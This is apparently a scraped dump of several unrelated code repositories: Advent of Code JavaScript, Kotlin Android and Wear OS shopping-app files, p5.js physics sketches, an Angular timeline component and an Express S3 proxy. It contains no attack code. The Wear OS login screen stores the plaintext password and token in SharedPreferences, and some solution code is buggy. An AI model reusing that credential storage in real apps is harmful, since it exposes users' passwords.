valuesB.push(lineB[indexB]); if (lineB[indexB + 1] === undefined) { indexB = 2; } else if (lineB[indexB + 2] === undefined) { indexB = 1; } else if (lineB[indexB + 3] === undefined) { indexB = 0; } else { indexB += 3; } lineNumberB += 1; }); var slop2 = valuesB.reduce((curr, acc) => (acc === "#" ? curr + 1 : curr), 0); //slop3 - 5|1--------------------- let indexC = 0; let lineNumberC = 0; let valuesC = []; x.forEach((lineC) => { valuesC.push(lineC[indexC]); if (lineC[indexC + 1] === undefined) { indexC = 4; } else if (lineC[indexC + 2] === undefined) { indexC = 3; } else if (lineC[indexC + 3] === undefined) { indexC = 2; } else if (lineC[indexC + 4] === undefined) { indexC = 1; } else if (lineC[indexC + 5] === undefined) { indexC = 0; } else { indexC += 5; } lineNumberC += 1; }); var slop3 = valuesC.reduce((curr, acc) => (acc === "#" ? curr + 1 : curr), 0); //slop4 - 7|1--------------------- let indexD = 0; let lineNumberD = 0; let valuesD = []; x.forEach((lineD) => { valuesD.push(lineD[indexD]); if (lineD[indexD + 1] === undefined) { indexD = 6; } else if (lineD[indexD + 2] === undefined) { indexD = 5; } else if (lineD[indexD + 3] === undefined) { indexD = 4; } else if (lineD[indexD + 4] === undefined) { indexD = 3; } else if (lineD[indexD + 5] === undefined) { indexD = 2; } else if (lineD[indexD + 6] === undefined) { indexD = 1; } else if (lineD[indexD + 7] === undefined) { indexD = 0; } else { indexD += 7; } lineNumberD += 1; }); var slop4 = valuesD.reduce((curr, acc) => (acc === "#" ? curr + 1 : curr), 0); //slop5 - 1|2--------------------- let indexE = 0; let lineNumberE = 0; let valuesE = []; x.forEach((lineE) => { if (lineNumberE == 0 || lineNumberE % 2 == 0) { valuesE.push(lineE[indexE]); // console.log('LINE ' + lineNumberE + ': ' + lineE); if (lineE[indexE + 1] === undefined) { indexE = 0; } else { indexE += 1; } } lineNumberE += 1; }); var slop5 = valuesE.reduce((curr, acc) => (acc === "#" ? curr + 1 : curr), 0); // console.log('valuesA :', valuesA.length); // console.log('valuesB :', valuesB.length); // console.log('valuesC :', valuesC.length); // console.log('valuesD :', valuesD.length); // console.log('valuesE :', valuesE.length); // console.log( // "1: " + // slop1 + // "\n" + // "2: " + // slop2 + // "\n" + // "3: " + // slop3 + // "\n" + // "4: " + // slop4 + // "\n" + // "5: " + // slop5 // ); return slop1 * slop2 * slop3 * slop4 * slop5; }; //another way of doing Part 1 and 2 const day3_II = (dataset) => { var slops = [[1], [3], [5], [7], [1, 2]]; const trees = ([x, slop = 1]) => dataset.filter((line, index) => (dataset[index * slop] || "")[(index * x) % line.length] === "#" ).length; var one = trees(slops[0]); var two = trees(slops[1]); var three = trees(slops[2]); var four = trees(slops[3]); var five = trees(slops[4]); // console.log( // "1: " + // one + // "\n" + // "2: " + // two + // "\n" + // "3: " + // three + // "\n" + // "4: " + // four + // "\n" + // "5: " + // five // ); return one * two * three * four * five; }; module.exports = { part1, day3, day3_II, }; <file_sep>/2019/day3/day3_2019.js //Part 1 - Import data var _ = require('underscore'); var fs = require('fs'); // var read = fs.readFileSync("input_day3_2019.txt", 'utf8'); var read = fs.readFileSync("input_test_day3_2019.txt", 'utf8'); var data = read.toString().split(","); // console.log(data); var data_v2 = data.slice(0); const [c1, c2] = read.split('\n').slice(0); var cable1_coordenates = c1.slice(0).trim(); cable1_coordenates = cable1_coordenates.split(','); // console.log(cable1_coordenates); var cable2_coordenates = c2.slice(0).trim(); cable2_coordenates = cable2_coordenates.split(','); // console.log(cable2_coordenates); //Sit values for testing // var fs_test = require('fs'); // var read_test = fs_test.readFileSync("input_test_day3_2019.txt", 'utf8'); const [test_c1, test_c2] = read.split('\n').slice(0); var test1 = test_c1.slice(0).trim(); test1 = test1.split(','); // // console.log(test1); var test2 = test_c2.slice(0).trim(); test2 = test2.split(','); // // console.log(test2); class Point{ constructor(x,y,st){ this.x = x; this.y = y; this.step = st; //This belongs to part2 } }; class Line{ constructor(p1,p2, st){ this.point1 = p1; //x,y this.point2 = p2; this.step = st; //This belongs to part2 } }; class intersectPoint{ //This belongs to part2 constructor(x,y, st){ this.x = x; this.y = y; this.step = st; } }; // Build points function point_constructor(array) { var coordenates = []; var step = 0; var starting_point = new Point(0,0,0); coordenates.push(starting_point); var current_point = new Point(0,0,0); for(let i = 0; i < array.length; i++){ var ltr = array[i].charAt(0); var number = parseInt(array[i].slice(1)); let x = current_point.x; let y = current_point.y; // var distance = parseInt(array[i].substring(1, array[i].length)); if(ltr == "R"){ x += number; current_point.x = x; step += number; coordenates.push(new Point(x,y,step)); }else if(ltr == "L"){ x-= number; current_point.x = x; step += number; coordenates.push(new Point(x,y,step)); }else if(ltr == "U"){ y+= number; current_point.y = y; step += number; coordenates.push(new Point(x,y,step)); }else if(ltr == "D"){ y-= number; current_point.y = y; step += number; coordenates.push(new Point(x,y,step)); } } return coordenates; } //Build Lines var array_of_points1 = point_constructor(cable1_coordenates); // console.log(array_of_points1); var array_of_points2 = point_constructor(cable2_coordenates); // console.log(array_of_points2.length); var array_of_points_test1 = point_constructor(test1); // console.log('array_of_points_test1 :', array_of_points_test1); var array_of_points_test2 = point_constructor(test2); // console.log('array_of_points_test2 :', array_of_points_test2); function line_constructor(arr1) { var line = []; // var firstStep = 0; for(var i = 0; i< arr1.length - 1; i++){ var semiline = new Line(arr1[i], arr1[i+1]); //third parameters belongs to part2 line.push(semiline); // firstStep += Math.abs(arr1[i].step - arr1[i+1].step); } return line; } var line1 = line_constructor(array_of_points1); // console.log(line1[0]); var line2 = line_constructor(array_of_points2); // console.log(line2); var line_test1 = line_constructor(array_of_points_test1); // console.log('line_test1 :', line_test1.length); var line_test2 = line_constructor(array_of_points_test2); console.log('line_test2 :', line_test2); //Intersect points const solve = function (wire1, wire2) { //steps belong to part2 const intersect_points = []; var steps1 = 0; wire1.map((w1, step1) => { var steps2 = 0; wire2.map((w2, step2) => { if((w1.point1.x == w1.point2.x) ^ (w2.point1.x == w2.point2.x)){ const vertical = w1.point1.x == w1.point2.x ? w1 : w2; const horizontal = w1.point1.x == w1.point2.x ? w2 : w1; const minX = Math.min(horizontal.point1.x, horizontal.point2.x); const maxX = Math.max(horizontal.point1.x, horizontal.point2.x); const minY = Math.min(vertical.point1.y, vertical.point2.y); const maxY = Math.max(vertical.point1.y, vertical.point2.y); if(vertical.point1.x >= minX && vertical.point1.x <= maxX && horizontal.point1.y >= minY && horizontal.point1.y <= maxY){ var steps = steps1 + steps2; var i = new intersectPoint(vertical.point1.x, horizontal.point1.y,steps); i.steps += parseInt(horizontal.x, i) + parseInt(vertical.x, i); console.log('i.steps :', i.steps); intersect_points.push(i); } }; steps2 += Math.abs((w2.point1.x - w2.point2.x) + (w2.point1.y - w2.point2.y)) // console.log('steps2 :', steps2); }); steps1 += Math.abs((w1.point1.x - w1.point2.x) + (w1.point1.y - w1.point2.y)) // console.log('steps1 :', steps1); }); return intersect_points; // const distance = intersect_points.filter(p => p.x != 0 || p.y !=0).map(p => p.steps); // return Math.min(...distance); }; var last = solve(line_test1, line_test2); console.log('last :', last); // var Manhattan_distance = function (arr1) { // const distance = arr1.filter(p => p.x != 0 || p.y !=0) // .map(p => Math.abs(p.x) + Math.abs(p.y)); // return Math.min(...distance); // } // var manhDist = Manhattan_distance(last); // console.log('ManDist :', manhDist); // var findMindDist = function minDistance(array, value) { // var minDist = array.filter(p => p.x !=0 || p.y !=0) // .map(p => (Math.abs(p.x) + Math.abs(p.y)) == value); // return minDist.st; // } // console.log('findMindDist :', findMindDist(last, manhDist));
1b1efd7e85597834978918dd4e9db61cabbcb3e7
[ "JavaScript", "Markdown" ]
27
JavaScript
Pedr0Leite/adventOfCode
a36d1ab99fb59dc05d00770d519e06c52e71b375
c871ee43e06807645646279e1aee80bcac54eb32
refs/heads/master
<repo_name>PaolaTramontin/react-todo-start-HOOKS<file_sep>/src/components/Todo.js import React from 'react'; const Todo = (props) => { return ( <div id ="text" style={{display: "flex", justifyContent: "left", padding:10, marginHorizontal: 5}}> {/* The original value of compete is fault, but if it changes to true (?) then put a line thru it */} <div style={{textDecoration: props.compete ? "line-through" : "" }} onClick={props.toggleComplete}> {props.text} </div> <button id="deleteButton" onClick={props.deleteTodo} >REMOVE</button> </div> ) } export default Todo;<file_sep>/src/components/TodoList.js import React, {useEffect, useState} from "react"; import axios from 'axios' import Todo from './Todo' import TodoForm from './TodoForm' import "../css/TodoList.css"; /* HOOKS Notes: 1. Convert from class to functional component 2. remove the renders, we just need a return 3. Import useeffect and useState 4. Change initial state with useState 5. Change componentDidMount into useEffect 6. Change our functions to const. ALWAYS change ur functions to const 7. Remove the "this" and "state" from functions useEffect is only used when fetching data */ const TodoList = () => { //setting up initial state in a hooks way const [todos, setTodos] = useState([ {id: 1, text: "Code for 1 hour every day", compete: false}, {id: 2, text: "Watch youtube tutorials", compete: false}, {id: 3, text: "Add to previous apps", compete: false}, {id: 4, text: "Apply for new jobs in my area", compete: false}, {id: 5, text: "Prep for interview", compete: false}, {id: 6, text: "Network", compete: false}, {id: 7, text: "Add friends on LinkedIn", compete: false}, {id: 8, text: "Find new job matches", compete: false}, {id: 9, text: "Ask for referrals", compete: false}, ]) // use effect runs everytime the component loads // useEffect(()=> { // axios.get('https://appian-mock.herokuapp.com/todos').then((response)=>{ // setTodos(response.data) // }) // },[]) // theres an empty [] because we didnt make any changes to the setTodos //this is spreading, aka making a new copy of the todo and adding to it, the new variable will be added to the front const addTodo = (newTodo) =>{ setTodos([newTodo, ...todos]) } //this passes Id and toggles the compete field from false to true & vice versa const toggleComplete = (id) =>{ setTodos(todos.map((todo)=>{ if(todo.id ===id){ return{ //this is spreading the todo array again ...todo, //make the todo opposite value compete: !todo.compete }; } else{ return todo; } }) ) } const deleteTodo = id =>{ setTodos(todos.filter((todo)=> todo.id !==id)) } return ( <div id="test"> <TodoForm addTodo ={addTodo}/> {/* todos is the array, and the todo is each item in the array. we just want the text to be returned. */} {todos.map(todo =>( <Todo key={todo.id} text={todo.text} compete ={todo.compete} toggleComplete={()=>toggleComplete(todo.id)} deleteTodo={()=> deleteTodo(todo.id)}/> ))} <br/> <div id="left"> {/* show me all the todos that are left on the list */} Items Left: {todos.filter((todo)=> !todo.compete).length} </div> </div> ) } export default TodoList;
5a75b10e47492b094b2232566833b2b010e22697
[ "JavaScript" ]
2
JavaScript
PaolaTramontin/react-todo-start-HOOKS
e79ac610c4f65647dec3a71b4b765f8a2402a53e
ee5fcd763c1680d5e8cf898e54a2e5cc83512d9c
refs/heads/master
<file_sep># GestiBank-BackEnd Commandes de Git (dans le terminal) : - git clone adresse_dépôt_github : récupérer le dépôt sur github sur votre PC (création d'un dépôt local) - git checkout -b dev origin/dev : récupérer la branche dev du dépôt sur github (s'il n'est pas récupéré avec "git clone") - git status : affiche le status de votre dépôt local - git add ficher : ajouter le fichier modifié en vue d'un commit - git add --all : ajouter tous les fichiers modifiés en vue d'un commit - git commit : initie un commit (après avoir fait les add) - git log : affiche l'historique des commits de votre dépôt local - git pull : màj de votre dépôt local à partir du dépôt sur github - git push : màj du dépôt sur github à partir de votre dépôt local Lors d'un commit : - un editeur de texte s'ouvre - indiquer le nature du commit (nature de l'évolution) - échap (pour revenir sur la console) - :w => sauvegarder le commit - :q => quitter l'éditeur de texte (permet également d'annuler un commit) Sublime Text : - Package : Git - Package : SublimeGit Remarques : - Toujours travailler sur la branche "dev" du git - Avant de "push" sur github, penser à "pull" la derniere version du dépôt : => en cas de conflits détectés par git, voir avec les autres membres du groupe pour les gérer<file_sep>package com.cama.model; import java.util.Date; public class Compte { //Attributes private int rib; private String description; private Date dateCreation; private int solde; //Constructors public Compte() { super(); } public Compte(int rib, String description, Date dateCreation, int solde) { super(); this.rib = rib; this.description = description; this.dateCreation = dateCreation; this.solde = solde; } //Getters & Setters public int getRib() { return rib; } public void setRib(int rib) { this.rib = rib; } public String getDescription() { return description; } public void setDescription(String description) { this.description = description; } public Date getDateCreation() { return dateCreation; } public void setDateCreation(Date dateCreation) { this.dateCreation = dateCreation; } public int getSolde() { return solde; } public void setSolde(int solde) { this.solde = solde; } }
5e4c5735bcf47deb5e5d0ff06bcd4a7a684e7514
[ "Markdown", "Java" ]
2
Markdown
AdrienCarcey/GestiBank-BackEnd
a49623e88d6fa9264ab886a248598e15a3dcacc5
64093af1f09be897b62462e1f49b7fb23090ff95
refs/heads/main
<file_sep>package com.Hritik.SmartHeaven.repository import com.Hritik.SmartHeaven.api.MyApiRequest import com.Hritik.SmartHeaven.api.ServiceBuilder import com.Hritik.SmartHeaven.api.SingleArticleAPI import com.Hritik.SmartHeaven.response.ArticleResponse class SingleArticleRepository: MyApiRequest() { private val singleArticleAPI = ServiceBuilder.buildService(SingleArticleAPI::class.java) //Display Single Article suspend fun getSingleArticle(id:String): ArticleResponse { return apiRequest { singleArticleAPI.showSingleArticle(id) } } }<file_sep>package com.Hritik.SmartHeaven.repository import android.util.Log import com.Hritik.SmartHeaven.api.ArticleAPI import com.Hritik.SmartHeaven.api.MyApiRequest import com.Hritik.SmartHeaven.api.ServiceBuilder import com.Hritik.SmartHeaven.dao.ArticleDAO import com.Hritik.SmartHeaven.entity.Article class ArticleRepository (private val articleDao: ArticleDAO): MyApiRequest() { private val articleAPI = ServiceBuilder.buildService(ArticleAPI::class.java) // suspend fun getAllArticles(): ArticleResponse { // return apiRequest { // articleAPI.getAllArticles() // } // } suspend fun displayAllArticles() : MutableList<Article>?{ try { val response = apiRequest{articleAPI.getAllArticles()} saveInRoom(response.data!!) return articleDao.getAllArticles() } catch(ex:Exception){ Log.d("repo",ex.toString()) } return articleDao.getAllArticles() } private suspend fun saveInRoom(articles: MutableList<Article>){ for (article in articles){ articleDao.insertArticle(article) } } }<file_sep>package com.Hritik.SmartHeaven.response import com.Hritik.SmartHeaven.entity.User data class LoginResponse( val success :Boolean? = null, val token : String? = null, val data: User? = null ) <file_sep>package com.Hritik.SmartHeaven.response import com.Hritik.SmartHeaven.entity.User data class AddUserResponse( val success: Boolean?=null, val data : User?= null ) <file_sep>package com.Hritik.SmartHeaven.response import com.Hritik.SmartHeaven.entity.Article data class ArticleResponse( val success : Boolean? = null, val data: MutableList<Article>? = null ) <file_sep>package com.Hritik.SmartHeaven.fragments import androidx.lifecycle.ViewModel import androidx.lifecycle.ViewModelProvider import com.Hritik.SmartHeaven.repository.ProductRepository class ProductViewModelFactory(val repository: ProductRepository):ViewModelProvider.Factory{ override fun <T:ViewModel?> create(modelClass:Class<T>):T{ return ProductViewModel(repository) as T } }<file_sep>package com.Hritik.SmartHeaven.response import com.Hritik.SmartHeaven.entity.Product data class ProductResponse( val success : Boolean? = null, val data: MutableList<Product>? = null ) <file_sep>package com.Hritik.wearables import android.content.Intent import android.os.Bundle import android.support.wearable.activity.WearableActivity import android.widget.Button import android.widget.EditText import android.widget.Toast import com.Hritik.wearables.api.ServiceBuilder import com.Hritik.wearables.repository.UserRepository import kotlinx.coroutines.CoroutineScope import kotlinx.coroutines.Dispatchers import kotlinx.coroutines.launch import kotlinx.coroutines.withContext class LoginActivity : WearableActivity() { private lateinit var etEmail : EditText private lateinit var etPassword : EditText private lateinit var btnLogin : Button override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_login) etEmail = findViewById(R.id.etemail) etPassword = findViewById(R.id.etpassword) btnLogin = findViewById(R.id.btnLogin) btnLogin.setOnClickListener{ login() } // Enables Always-on setAmbientEnabled() } private fun login() { val email = etEmail.text.toString() val password = etPassword.text.toString() CoroutineScope(Dispatchers.IO).launch { try { val repository = UserRepository() val response = repository.checkUser(email, password) var a = response.success // Log.d("response","$a") if (response.success == true) { withContext(Dispatchers.Main) { // dashboard khola ServiceBuilder.token = "Bearer ${response.token}" saveSharedPref(response.token!!) // val name = response.userData!!.user_username // val email = response.userData.user_email // val contactno = response.userData.user_contactno // val sharedPref = getSharedPreferences("UserDetails", MODE_PRIVATE) // val editor = sharedPref.edit() // editor.putString("name", name) // editor.putString("email", email) // editor.putString("contactno", contactno) // editor.apply() // editor.commit() startActivity( Intent( this@LoginActivity, DashActivity::class.java ) )} finish() } else { withContext(Dispatchers.Main) { Toast.makeText( this@LoginActivity, "Invalid credentials", Toast.LENGTH_SHORT ).show() } } } catch (ex: Exception) { withContext(Dispatchers.Main) { Toast.makeText( this@LoginActivity, ex.toString(), Toast.LENGTH_SHORT ).show() } } } } private fun saveSharedPref(token:String) { val username = etEmail.text.toString() val password = <PASSWORD>.text.toString() // Log.d("token", "onBindViewHolder: " + token) val sharedPref = getSharedPreferences("LoginPref", MODE_PRIVATE) val editor = sharedPref.edit() editor.putString("username", username) editor.putString("password", <PASSWORD>) editor.putString("token", token) editor.apply() editor.commit() } } <file_sep>package com.Hritik.SmartHeaven import androidx.appcompat.app.AppCompatActivity import android.os.Bundle import android.widget.TextView class ProfileActivity : AppCompatActivity() { private lateinit var tvUsername: TextView private lateinit var tvEmail: TextView private lateinit var tvContactno: TextView var name: String = "" var email: String = "" var contactno: String = "" override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_profile) tvUsername = findViewById(R.id.tvusername) tvEmail = findViewById(R.id.tvemail) tvContactno = findViewById(R.id.tvcontactno) getProfile() tvUsername.setText("Username: " + MainActivity.username); tvEmail.setText("Email: " + MainActivity.useremail); tvContactno.setText("Contact no: " + MainActivity.contact); } private fun getProfile() { val sharedPref = getSharedPreferences("UserDetails", MODE_PRIVATE) name = sharedPref.getString("name", "")!! email = sharedPref.getString("email", "")!! contactno = sharedPref.getString("contactno", "")!! } }<file_sep>package com.Hritik.SmartHeaven.repository import com.Hritik.SmartHeaven.api.MyApiRequest import com.Hritik.SmartHeaven.api.ServiceBuilder import com.Hritik.SmartHeaven.api.SingleProductAPI import com.Hritik.SmartHeaven.response.ProductResponse class SingleProductRepository: MyApiRequest() { private val singleProductAPI = ServiceBuilder.buildService(SingleProductAPI::class.java) //Display Single Product suspend fun getSingleProduct(id:String):ProductResponse{ return apiRequest { singleProductAPI.showSingleProduct(id) } } }<file_sep>package com.Hritik.SmartHeaven.response import com.Hritik.SmartHeaven.entity.Cart data class CartResponse ( val success: Boolean? = null, val data: MutableList<Cart>? = null )
b92a06aabaf8b5d977c7d9d0e4f5ad3719f84b99
[ "Kotlin" ]
11
Kotlin
Hritik0015/smarthaven_andriod
91c3389aa184bfd4554b7d47e1e89834dcb2e141
336ad4e4c1a8c6fcd9d12e349d157336bcd86f97
refs/heads/master
<repo_name>bencrawford26/Portfolio<file_sep>/HNDGradedUnit/js/extras/walkers&movers/NoiseWalker/walker.js function Walker() { this.x = width/2; this.y = height/2; this.stepx; this.stepy; this.tx = 0; this.ty = 100000; this.display = function() { stroke(0); point(this.x, this.y); } this.step = function() { this.stepx = map(noise(this.tx),0,1,0,10); this.stepy = map(noise(this.ty),0,1,0,10); this.x = map(this.stepx, 0, 10, 0, width); this.y = map(this.stepy, 0, 10, 0, height); this.tx+=0.001; this.ty+=0.001; } }<file_sep>/HNDGradedUnit/js/extras/walkers&movers/WindMovers/mover.js function Mover(m) { //initialising the location, acceleration and velocity vectors this.loc = createVector(20,100); this.vel = createVector(0,0); this.acc = createVector(0,0); //initialising top speed of mover this.topspeed = 5; //initialising time for Perlin noise this.time = createVector(0,10000); this.mass = m; this.applyForce = function(force) { this.f = p5.Vector.div(force, this.mass); this.acc.add(this.f); } this.update = function() { //motion 101 - assigning velocity to acceleration, limiting velocity then changing location based on velocity this.vel.add(this.acc); this.vel.limit(this.topspeed); this.loc.add(this.vel); //incrementing time for different Perlin noise values this.time.add(0.01,0.01); } this.display = function() { stroke(0); fill(100); //drawing the mover ellipse(this.loc.x, this.loc.y, m*16, m*16); } this.checkEdges = function() { //checks if mover has reached max/min width and if so setting location to opposite side if(this.loc.x > width) { this.loc.x = width; this.vel.x *= -1; } else if (this.loc.x < 0) { this.vel.x *= -1; this.loc.x = 0; } if(this.loc.y > height) { this.vel.y *= -1; this.loc.y = height; } else if(this.loc.y < 0) { this.loc.y = 0; this.vel.y *= -1; } } }<file_sep>/IntegratedProject/src/app/component/left-pane/left-pane.component.ts import { Component, OnInit, ViewChild, ElementRef, animate, keyframes, style, trigger, transition } from '@angular/core'; import { MatTableDataSource, MatPaginator, MatTable } from '@angular/material'; import { SelectionModel } from '@angular/cdk/collections'; import { DataTransferService } from '../../service/data-transfer/data-transfer.service' import { TimelineService } from '../../service/timeline/timeline.service' import { EventService } from '../../service/event/event.service' import { LangService } from '../../service/lang/lang.service' import { DialogTextInputComponent } from '../../component/dialog-text-input/dialog-text-input.component'; import { FeedbackComponent } from '../../component/feedback/feedback.component'; import { MatDialog, MatDialogRef, MAT_DIALOG_DATA, MatSort, MatSnackBar } from '@angular/material'; import { DialogConfirmComponent } from '../../component/dialog-confirm/dialog-confirm.component'; import { Observable } from 'rxjs/Rx'; import { Timeline } from '../../interface/timeline' @Component({ selector: 'app-left-pane', templateUrl: './left-pane.component.html', styleUrls: ['./left-pane.component.scss'], animations: [ trigger('appearDisappear', [ transition(':enter', [ animate('300ms cubic-bezier(0.4, 0.0, 0.2, 1)', keyframes([ style({minHeight: '0px', overflow: 'hidden', height: '0px'}), style({minHeight: '*', overflow: 'visible', height: '*'}), ])) ]), transition(':leave', [ animate('300ms cubic-bezier(0.4, 0.0, 0.2, 1)', keyframes([ style({minHeight: '*', overflow: 'visible', height: '*'}), style({minHeight: '0px', overflow: 'hidden', height: '0px'}), ])) ]) ]) ] }) export class LeftPaneComponent implements OnInit { tableDataLoaded: boolean = false; filter: string; timelineRetrieveErr; @ViewChild(MatTable) tableElement: MatTable<0> @ViewChild(MatPaginator) paginator: MatPaginator; @ViewChild(MatSort) sort: MatSort; constructor( private TimelineService:TimelineService, private EventService:EventService, public DataTransferService:DataTransferService, public LangService: LangService, public dialog: MatDialog, public feedback: MatSnackBar ) { } ngOnInit() { this.DataTransferService.recountObs.subscribe( ()=>{this.recountEvents()} ) this.paginator.page.subscribe(() => {document.getElementById('tableElement').scrollTop = 0}); this.retrieveTimelines(); } retrieveTimelines() { this.timelineRetrieveErr = false; this.TimelineService.getAllTimelinesEvents().subscribe( (data)=>{ for (let index = 0; index < data['Timelines'].length; index++) { const timeline: Timeline = data['Timelines'][index]; // c sharp timestamp starts at the year 1. so this conevrts it to js timestamp by subtracting seconds between the year 1 and 1970 timeline.CreationTimeStamp = (parseInt(timeline.CreationTimeStamp)-621355968000000000).toString().slice(0, -4); timeline.noEvents = timeline.TimelineEvents.length; for (let eventIndex = 0; eventIndex < timeline.TimelineEvents.length; eventIndex++) { // de serialize date and location let Attachments = timeline.TimelineEvents[eventIndex].Attachments; timeline.TimelineEvents[eventIndex] = JSON.parse(timeline.TimelineEvents[eventIndex].Title) timeline.TimelineEvents[eventIndex].Attachments = Attachments } // add element to array to make it display on table ELEMENT_DATA.unshift(timeline); } console.log(ELEMENT_DATA); this.feedback.openFromComponent(FeedbackComponent, {data: {msg: this.LangService.activeLanguage.feedBackTimelinesLoaded,progress:false},duration:3500}); this.reRenderTable(); this.sort.disableClear = true; this.dataSource.sort = this.sort; }, (error)=>{ this.timelineRetrieveErr = true; this.feedback.openFromComponent(FeedbackComponent, {data: {msg: this.LangService.activeLanguage.feedBackTimelinesGetFailed,progress:false},duration:3500}); } ); } recountEvents() { //used to count no events since arr.length doesnt work inside the table when sorting for (let index = 0; index < ELEMENT_DATA.length; index++) { ELEMENT_DATA[index].noEvents = ELEMENT_DATA[index].TimelineEvents.length; this.reRenderTable(); } } // uses filter text input above table to filter ELEMENT_DATA applyFilter(filterValue: string) { filterValue = filterValue.trim(); // Remove whitespace filterValue = filterValue.toLowerCase(); // MatTableDataSource defaults to lowercase matches this.dataSource.filter = filterValue; } // re renders the table after data added or removed reRenderTable(){ this.tableElement.renderRows(); this.dataSource.paginator = this.paginator; this.tableDataLoaded = true; } openAddDialog(dialogTitle, currentText, createOrUpdate, tlId) { let dialogRef = this.dialog.open(DialogTextInputComponent, { width: '400px', data: {existingText: currentText, dialogTitle: dialogTitle} }); dialogRef.afterClosed().subscribe((result) => { if(typeof result != 'undefined' && result.confirm &&createOrUpdate == 'create'){ this.tableDataLoaded = false; this.feedback.openFromComponent(FeedbackComponent, {data: {msg: this.LangService.activeLanguage.feedBackAddingTimeline + result.text,progress:true}}); this.TimelineService.createTimeline(result.text).subscribe( (data)=>{ let newTimeline = data; newTimeline.CreationTimeStamp = (newTimeline.CreationTimeStamp-621355968000000000).toString().slice(0, -4); newTimeline.TimelineEvents = []; newTimeline.noEvents = 0; ELEMENT_DATA.unshift(newTimeline); setTimeout(()=>{// small delay so event dialog doesnt pop up instantly this.DataTransferService.timelineRegisterVisibleSource.next(false); }, 350); this.feedback.openFromComponent(FeedbackComponent, {data: {msg: this.LangService.activeLanguage.feedBackTimelineAdded + result.text,progress:false}, duration: 3500}); this.reRenderTable() this.DataTransferService.addActiveTimeline(newTimeline.Id, newTimeline); }, (error)=>{ this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.feedBackAddTimelineErr + result.text,progress:false}, duration: 3500}); this.reRenderTable() } ); }else if(typeof result != 'undefined' && result.confirm && createOrUpdate == 'update'){ this.tableDataLoaded = false; this.feedback.openFromComponent(FeedbackComponent, {data: {msg: this.LangService.activeLanguage.feedBackEditingTimeline + result.text,progress:true}}); this.TimelineService.editTitle(tlId, result.text).subscribe( (data)=>{ for (let i=ELEMENT_DATA.length-1; i>=0; i--) { if (ELEMENT_DATA[i].Id === tlId) { ELEMENT_DATA[i].Title = result.text; this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.feedBackEditedTimeline + result.text,progress:false}, duration: 3500}); break; // stop loop once found element } } this.reRenderTable() }, (error)=>{ this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.feedBackEditTimelineErr,progress:false}, duration: 3500}); this.reRenderTable() } ); } }) } // confirm dialog box code openConfirmDialog() { let dialogRef = this.dialog.open(DialogConfirmComponent, { width: '400px', data: {question:this.LangService.activeLanguage.confirmDeleteTimeline} }); dialogRef.afterClosed().subscribe(result => { if(result == 'confirm'){ this.tableDataLoaded = false; this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.feedBackDeletingTimeline,progress:true}}); // if confirm dialog loop through each selected timeline and delete them let deleteObservArr = [] for (let index = 0; index < this.selection.selected.length; index++) { deleteObservArr.push(this.TimelineService.deleteTimeline(this.selection.selected[index].Id)); } Observable.forkJoin(deleteObservArr).subscribe( (data)=>{ for (let index = 0; index < this.selection.selected.length; index++) { for (let i=ELEMENT_DATA.length-1; i>=0; i--) { if (ELEMENT_DATA[i].Id === this.selection.selected[index].Id) { console.log(this.DataTransferService.activeTimelineKeys) console.log(this.DataTransferService.activeTimelines) // remove timeline from active timelines list let delIndex = this.DataTransferService.activeTimelineKeys.indexOf(ELEMENT_DATA[i].Id); if(delIndex != -1){ this.DataTransferService.activeTimelineKeys.splice(delIndex, 1); } //this.DataTransferService.activeTimelines[ELEMENT_DATA[i].Id] = null; ELEMENT_DATA.splice(i, 1); break; // stop loop once found element } } } this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.feedBackDeletedTimeline,progress:false}, duration: 3500}); }, (error)=>{ this.feedback.openFromComponent(FeedbackComponent, {data: {msg:this.LangService.activeLanguage.feedBackDeleteTimelineErr + result.text,progress:false}}); }, ()=>{ this.tableElement.renderRows(); this.dataSource.paginator = this.paginator; this.tableDataLoaded = true; this.selection.clear(); // TODO: quick fix to sort strange selection behavior should prolly fix }, ) } }) } timelineRowClick(e, row){ this.DataTransferService.addActiveTimeline(row.Id, row); if(!e.ctrlKey){ this.DataTransferService.toggleRegisterExpanded(); } } displayedColumns = ['select', 'Title', 'CreationTimeStamp', 'noEvents']; dataSource = new MatTableDataSource<Timeline>(ELEMENT_DATA); selection = new SelectionModel<Timeline>(true, []); /** Whether the number of selected elements matches the total number of rows. */ isAllSelected() { const numSelected = this.selection.selected.length; const numRows = this.dataSource.data.length; return numSelected === numRows; } /** Selects all rows if they are not all selected; otherwise clear selection. */ masterToggle() { this.isAllSelected() ? this.selection.clear() : this.dataSource.data.forEach(row => this.selection.select(row)); } } let ELEMENT_DATA: Timeline[] = []<file_sep>/HNDGradedUnit/js/extras/forces/heliumBalloon/sketch.js var bln; var clouds = []; var time; var wind; function setup() { createCanvas(windowWidth,500); for(var i = 0; i < 17; i++){ clouds[i] = new Cloud(); } bln = new Balloon(); time = 0; } function draw() { background(180, 180, 255); wind = createVector(map(noise(time),0,1,-0.5,0.5),-0.0001); bln.applyForce(wind); bln.update(); bln.display(); bln.checkEdges(); wind.mult(0.1); for(var i = 0; i < clouds.length; i++) { clouds[i].display(); clouds[i].update(); clouds[i].checkEdges(); clouds[i].applyForce(wind); } time+=0.1; }<file_sep>/README.md # Portfolio Portfolio of all major projects under taken to be viewed by employers <file_sep>/IntegratedProject/proxy.js var express = require('express'); var request = require('request'); var cors = require('cors') var app = express() app.use(cors()) /* app.use('/Timeline/GetEvents', function(req, res) { res.send({msg:'lolk'}); }); */ app.use('/team15', function(req, res) { console.log(req.url) var url = 'https://ideagengcu.s3.eu-west-1.amazonaws.com/Team15' + req.url; console.log(url); req.pipe(request(url)).pipe(res); }); 